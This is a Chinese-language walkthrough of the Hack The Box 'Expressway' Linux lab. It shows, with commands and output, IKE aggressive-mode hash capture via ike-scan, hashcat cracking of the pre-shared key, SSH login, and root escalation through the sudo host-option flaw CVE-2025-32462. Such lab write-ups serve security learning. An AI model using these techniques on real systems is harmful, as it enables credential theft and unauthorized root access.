HTB-Expressway

发表于 更新于 分类于 阅读次数：
HTB-Expressway
OS Difficulty
Linux Easy

Nmap Scan

$ sudo nmap 10.10.11.87 -sU 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-03 20:38 CST
Nmap scan report for 10.10.11.87
Host is up (0.31s latency).
Not shown: 994 closed udp ports (port-unreach)
PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
500/udp   open          isakmp
1001/udp  open|filtered unknown
4500/udp  open|filtered nat-t-ike
21524/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 1078.09 seconds

ike-scan

IPsec 被广泛认为是保护网络之间（LAN到LAN）和从远程用户到网络网关（远程访问）通信的主要技术，是企业VPN解决方案的支柱。

在两个点之间建立**安全关联（SA）**的过程由**IKE**管理，IKE在ISAKMP的框架下运行，ISAKMP是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段：

  • 阶段1： 在两个端点之间创建一个安全通道。这是通过使用预共享密钥（PSK）或证书来实现的，采用主模式，该模式涉及三对消息，或激进模式。
  • 阶段1.5： 虽然不是强制性的，这个阶段被称为扩展认证阶段，通过要求用户名和密码来验证试图连接的用户的身份。
  • 阶段2： 这个阶段专注于协商用于保护数据的ESP和AH的参数。它允许使用与阶段1不同的算法，以确保完美前向保密（PFS），增强安全性。

默认端口： 500/udp

使用ike-scan获取端点信息

$ sudo ike-scan -M 10.10.11.87                                                      1 ↵
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87	Main Mode Handshake returned
	HDR=(CKY-R=de247831852d7075)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.5: 1 hosts scanned in 0.393 seconds (2.54 hosts/sec).  1 returned handshake; 0 returned notify

最后一行的值的含义：

  • 0 returned handshake; 0 returned notify: 这意味着目标 不是 IPsec 网关。
  • 1 returned handshake; 0 returned notify: 这意味着 目标已配置为 IPsec，并愿意进行 IKE 协商，一个或多个变换是可接受的（有效的变换将在输出中显示）。
  • 0 returned handshake; 1 returned notify: VPN 网关在 没有变换可接受 时会回复通知消息（尽管有些网关不会，在这种情况下应进行进一步分析并尝试修订提案）。

暴力破解

使用 ike-scan 进行暴力破解 ID，并获取hash

$ sudo ike-scan -P -M -A -n fakeID 10.10.11.87                                      1 ↵
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87	Aggressive Mode Handshake returned
	HDR=(CKY-R=fff300ff3df79be4)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	KeyExchange(128 bytes)
	Nonce(32 bytes)
	ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
	Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
62b0d5db43e615fcd1dad59c89a9037fb5e9c0bfe6da4fc07675fc9c627cbe4292b3b358656d63388f715f243cedbe6e5dc66e7e5c4e518cdfe2cc6b1387dcb4a65c1abff4f4196f06a1332824c8e566fc2f85a2136ea755e0146983fbed4cbe2b2f3a11adb821789ecdf9f500fd726e1367ad8bf07416cebcb64c74bac812a1:d9563d9f5b8e615f4192980695b5aaa08e77e40c034510b114d36bc09a07938a211157944bed4d620cb2efa72d4b73f5c35ecf24467b230ed57108f3de9f3aa210935d92023017ba94724834be9c22d048f3573a1766ccc26bc445419468adf4ace93cd4cad4efd291deef9ec26268ec5fcb4ae3c8011bb14b7cb41194f33696:fff300ff3df79be4:bd98657989cf7d7f:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:0cfe26cfa0503d187bb74384559c74075accfdd7:f0458c1d286b8b86f336514889a50bdec65981f77738cb54b7c45cf06ad74ee5:f8e8ec82b0b7f1f54e7e975b9186e8cb10affc1e
Ending ike-scan 1.9.5: 1 hosts scanned in 0.193 seconds (5.17 hosts/sec).  1 returned handshake; 0 returned notify

使用hashcat破解hash

$ hashcat hash -a 0 -m 5400  /opt/secLists/rockyou.txt  
hashcat (v6.2.6) starting
<......>
62b0d5db43e615fcd1dad59c89a9037fb5e9c0bfe6da4fc07675fc9c627cbe4292b3b358656d63388f715f243cedbe6e5dc66e7e5c4e518cdfe2cc6b1387dcb4a65c1abff4f4196f06a1332824c8e566fc2f85a2136ea755e0146983fbed4cbe2b2f3a11adb821789ecdf9f500fd726e1367ad8bf07416cebcb64c74bac812a1:d9563d9f5b8e615f4192980695b5aaa08e77e40c034510b114d36bc09a07938a211157944bed4d620cb2efa72d4b73f5c35ecf24467b230ed57108f3de9f3aa210935d92023017ba94724834be9c22d048f3573a1766ccc26bc445419468adf4ace93cd4cad4efd291deef9ec26268ec5fcb4ae3c8011bb14b7cb41194f33696:fff300ff3df79be4:bd98657989cf7d7f:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:0cfe26cfa0503d187bb74384559c74075accfdd7:f0458c1d286b8b86f336514889a50bdec65981f77738cb54b7c45cf06ad74ee5:f8e8ec82b0b7f1f54e7e975b9186e8cb10affc1e:freakingrockstarontheroad
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5400 (IKE-PSK SHA1)
Hash.Target......: 62b0d5db43e615fcd1dad59c89a9037fb5e9c0bfe6da4fc0767...affc1e
Time.Started.....: Fri Oct  3 21:08:51 2025 (2 secs)
Time.Estimated...: Fri Oct  3 21:08:53 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/opt/secLists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  5355.3 kH/s (2.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8060928/14344384 (56.20%)
Rejected.........: 0/8060928 (0.00%)
Restore.Point....: 8044544/14344384 (56.08%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: freaky94 -> foureight
Hardware.Mon.#1..: Temp: 68c Util: 67%

Started: Fri Oct  3 21:08:42 2025
Stopped: Fri Oct  3 21:08:54 2025

SSH登录

使用ike-scan暴力破解出的ID和hash破解出的密码进行ssh登录

$ ssh ike@10.10.11.87                         
The authenticity of host '10.10.11.87 (10.10.11.87)' can't be established.
<......>
ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)

本地信息收集

由于登录的账号在proxy 组里，可以使用find命令查找proxy组权限的目录，在/var/log/squid/access.log.1 中可以找到一个子域名offramp.expressway.htb ，查看sudo 版本，可以发现版本为1.9.17

ike@expressway:~$ find / -group proxy -type d 2>/dev/null
/run/squid
/var/spool/squid
/var/log/squid
ike@expressway:/var/log/squid$ cat access.log.1 | grep http
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://www.google.com/ - HIER_NONE/- text/html
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
1753229689.058      0 192.168.68.50 TCP_DENIED/403 381 HEAD http://www.google.com/ - HIER_NONE/- text/html
ike@expressway:~$ sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17

权限提升

使用搜索引擎检索sudo 1.9.17 的exploit 可以找到CVE-2025-32462 使用获取到的子域名可以成功利用

ike@expressway:~$ sudo -l -h offramp.expressway.htb
Matching Defaults entries for ike on offramp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ike may run the following commands on offramp:
    (root) NOPASSWD: ALL
    (root) NOPASSWD: ALL
ike@expressway:~$ sudo -i -h offramp.expressway.htb
root@expressway:~# id
uid=0(root) gid=0(root) groups=0(root)
Flag Path
flag1 /home/ike/user.txt
flag2 /root/root.txt